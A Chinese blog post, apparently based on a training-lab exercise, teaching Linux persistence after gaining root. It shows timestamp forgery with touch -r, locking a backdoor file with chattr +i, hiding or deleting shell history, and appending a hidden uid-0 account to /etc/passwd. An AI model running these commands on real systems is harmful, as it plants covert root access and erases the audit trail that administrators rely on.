系统相关
首页 > 系统相关> > Linux权限维持之文件锁、文件属性、清除历史、passwd添加管理账号

Linux权限维持之文件锁、文件属性、清除历史、passwd添加管理账号

作者:互联网

文中主要讲解Linux权限维持中的小技巧,通过了解掌握文件锁、文件属性、清除历史、passwd添加管理账号等方式,更快知晓权限维持作用。本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

修改文件/终端属性

1、 文件创建时间

假设防守方通过文件修改的时间来判断文件是否是后门,那么我们可以通过下面的命令来解决此问题:

touch -r test.php list.php

从图中可以看出 后面创建的这个文件和前面的时间是一致的:
在这里插入图片描述
假如我们需要上传文件,需要修改此文件的时间,同样可以使用这个方法来修改时间:
通过图中可以看出上传上来的list.php时间为36分,但使用命令后,查看时间已变成34分。

在这里插入图片描述

2、文件锁定:

chattr这个命令是用来防止root和其他管理用户误删除和修改重要文件及目录。

chattr +i list.php #锁定文件

可以看到当锁定后,连root用户都无法删除。
在这里插入图片描述
查看文件的属性:

lsattr #来查看,可以看出list为锁定文件。

在这里插入图片描述

chattr -i list.php  # 解除锁定 

在这里插入图片描述

3、历史操作命令:

history 

在这里插入图片描述
当我们使用[space]set +o history #[space]为空格。
使用这个命令后,之后的操作会临时不计入历史功能里面。

 set +o history #注:set前有空格

在这里插入图片描述
使用后,可以看出只有之前我们操作的命令,包括[space]set +o history都没有记录在里面

set -o history

使用后,后续执行的命令又重新记录在里面。
在这里插入图片描述
我们同样可以从历史记录中去进行删除:
假设我们需要在历史记录中删除带ls的:

history | grep "ls" #将带ls的从历史记录中筛选出来

在这里插入图片描述

  history -d 22 #从历史记录中删除第23条命令

在这里插入图片描述
同样可以批量的删除历史记录:

sed -i '20,$d' ~/.bash_history #批量删除历史记录,只保留前20的命令 
history -c #清空历史记录:
rm -rf ~/.bash_history #删除历史记录文件。

在这里插入图片描述

4、passwd添加用户

/etc/passwd 各部分含义:
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL

在这里插入图片描述
/etc/shadow 各部分含义:
用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周
期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用

在这里插入图片描述
我们来增加一个超级用户:
先执行命令来生成密码

perl -le 'print crypt("123456","salt")'

然后写入passwd文件中去。 这个我们要确定passwd文件必须写入的权限:

ls -al /etc/passwd

进行构造,然后写入文件中:

echo "L123:sahL5d5V.UWtI:0:0:/root:/bin/bash" >> /etc/passwd

此方法主要用于权限维持,所以通常运用的场景是在已获得root权限的情况下
假设对方已经将漏洞修复,且root密码也修改了,但没有对passwd文件检查。

在这里插入图片描述
那么我们就可以通过L123这个账号进行登陆:
同样是root权限。

在这里插入图片描述

标签:文件,文件属性,历史记录,passwd,Linux,权限,root,history
来源: https://blog.csdn.net/nicai321/article/details/122338088